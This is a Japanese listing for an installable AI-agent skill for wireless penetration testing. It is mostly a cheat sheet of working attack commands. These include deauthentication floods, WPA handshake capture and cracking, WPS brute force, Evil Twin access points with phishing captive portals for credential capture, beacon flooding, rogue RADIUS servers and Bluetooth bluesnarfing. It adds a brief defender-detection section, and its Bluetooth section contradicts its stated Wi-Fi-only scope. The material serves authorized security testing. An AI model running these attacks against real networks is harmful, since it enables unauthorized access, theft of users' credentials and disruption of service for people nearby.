attacking-wireless-networks について
ペネトレーションテスターや無線ネットワーク評価担当者向けの Wi-Fi セキュリティスキルです。偵察、WPA/WPA2/WPA3 と WPS のテスト、不正アクセスポイント、検知上の考慮事項を扱い、Bluetooth や有線ネットワークのテストとは区別しています。
主な機能
- 01無線ネットワークの探索
- 02Wi-Fi ハンドシェイクの取得と評価
- 03WPA、WPA2、WPA3、WPS のテスト
- 04不正アクセスポイント手法の確認
- 05無線攻撃の検知に関する考慮
活用シーン
- 01認可されたテストでの Wi-Fi 評価
- 02ネットワークの WPS 露出確認
- 03不正アクセスポイントのリスク評価
- 04無線 IDS の検知範囲の確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-wireless-networksインストール後、Claude Code で/attacking-wireless-networksを入力して読み込まれたか確認します。
詳細
ワイヤレスネットワークへの攻撃
使用する場面
- WiFi のペネトレーションテスト
- ワイヤレスネットワークのセキュリティ評価
- WPA/WPA2/WPA3 の解読
- Evil Twin および不正な AP 攻撃
- ワイヤレスネットワークの偵察
使用しない場面
- 有線ネットワークへの攻撃 —
enumerating-network-servicesを使用してください - キャプチャしたハンドシェイクの解読 —
cracking-passwordsを使用してください - Bluetooth(Classic/BLE)または NFC — GATT の列挙、カードの複製、RF スニッフィングには
attacking-bluetooth-nfcを使用してください。このスキルの対象は Wi-Fi のみです - Zigbee、または Wi-Fi の範囲を超える一般的な SDR 作業 — このスキルの対象外です
- アクセス後のネットワーク侵害 — ネットワークに接続したら、
performing-reconnaissanceに移行してください
セットアップとツール
モニターモードを有効にする:
# Check wireless interface
iwconfig
iw dev
# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon
# Or manually
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up
# Disable interfering processes
airmon-ng check kill
必須ツール:
- aircrack-ng スイート
- Wireshark
- Kismet
- Reaver/Bully(WPS)
- Wifite(自動化)
- hcxtools/hcxdumptool
- Fluxion(Evil Twin)
WiFi の偵察
ネットワークの検出:
# Scan for networks
airodump-ng wlan0mon
# Scan specific channel
airodump-ng -c 6 wlan0mon
# Scan and save to file
airodump-ng -w capture wlan0mon
# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
Kismet:
# Start Kismet
kismet
# Command line
kismet_server
kismet_client
# View in web UI
http://localhost:2501
WPA/WPA2 攻撃
ハンドシェイクのキャプチャ
# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"
ハンドシェイクの解読
Aircrack-ng:
# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap
Hashcat:
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap
# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt
# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule
# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
John the Ripper:
# Convert cap to john format
hccap2john capture-01.cap > hash.john
# Crack
john --wordlist=wordlist.txt hash.john
WPS 攻撃
WPS ブルートフォース(Reaver)
# Check WPS status
wash -i wlan0mon
# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5
# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K
Bully(代替ツール)
# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon
# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d
Evil Twin 攻撃
Fluxion
# Start Fluxion
./fluxion.sh
# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials
手動の Evil Twin
# Create rogue AP
hostapd rogue_ap.conf
# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g
# DHCP server
dnsmasq -C dnsmasq.conf
# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
# Captive portal (fake login page)
# Setup web server with phishing page
WPA3 攻撃
Dragonblood
# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)
# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled
SAE のブルートフォース
# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt
サービス拒否
認証解除攻撃
# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6
ビーコンフラッディング
# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt
# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000
自動化ツール
Wifite
# Automated WiFi cracking
wifite
# Target WPA only
wifite --wpa
# Target WPS only
wifite --wps
# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF
# With custom wordlist
wifite --dict wordlist.txt
WiFi-Pumpkin(不正 AP フレームワーク)
# Launch WiFi-Pumpkin
wifi-pumpkin
# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing
エンタープライズ WiFi(WPA-Enterprise)
EAP-TLS/PEAP 攻撃
# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon
# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"
# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf
# Crack captured hashes
asleap -r capture.dump -w wordlist.txt
パケットインジェクションのテスト
# Test injection capability
aireplay-ng --test wlan0mon
# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon
# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon
隠し SSID の検出
# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests
# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF
# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Bluetooth 攻撃
検出
# Scan for devices
hcitool scan
# Detailed info
hcitool info AA:BB:CC:DD:EE:FF
# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF
BluetoothHunting
# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF
# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF
# PIN brute force
crackle -i hci0 -o pin.txt
WiFi ペネトレーションテストの簡易ワークフロー
- モニターモード - ワイヤレスアダプターでモニターモードを有効にします
- 偵察 - ネットワークをスキャンします(airodump-ng/kismet)
- ターゲットの選定 - ネットワークを選択します(簡単に成功しやすい WPS 対応ネットワーク)
- ハンドシェイクのキャプチャ - クライアントの接続を解除し、4 ウェイハンドシェイクをキャプチャします
- 解読 - hashcat/aircrack-ng で解読します
- 侵害後の活動 - 接続し、MITM/スニッフィングを実行します
よくある成功例
- WPS 対応ルーター - Reaver を使えば、多くの場合、数分で解読できます
- 脆弱なパスワード - rockyou.txt に含まれる一般的な WiFi パスワード
- WPA2 移行モード - ダウングレード攻撃が可能です
- オープンなゲストネットワーク - 認証は不要です
- 設定ミスのあるエンタープライズネットワーク - RADIUS 認証が脆弱です
防御側の検知
- ワイヤレス IDS(WIDS)は、次の攻撃を検知する場合があります:
- 認証解除攻撃
- 不正なアクセスポイント
- Evil Twin 攻撃
- WPS ブルートフォースの試行
- 監視と物理的なセキュリティに注意してください
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されます — このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで ID を引用する前に、
現在の ATT&CK リリースに照らして再確認してください。
認証情報アクセス(TA0006)
- T1040 ネットワークスニッフィング (Discovery にも該当) —
enumerating-network-servicesも参照してください - T1557 中間者 (Collection にも該当) —
attacking-active-directoryも参照してください
これらの検知コンテンツについては、engineering-detections を参照してください。プロアクティブな検索には hunting-threats を使用してください。侵害後の対応については responding-to-incidents を参照してください。
参考資料
コメント
Markdown 対応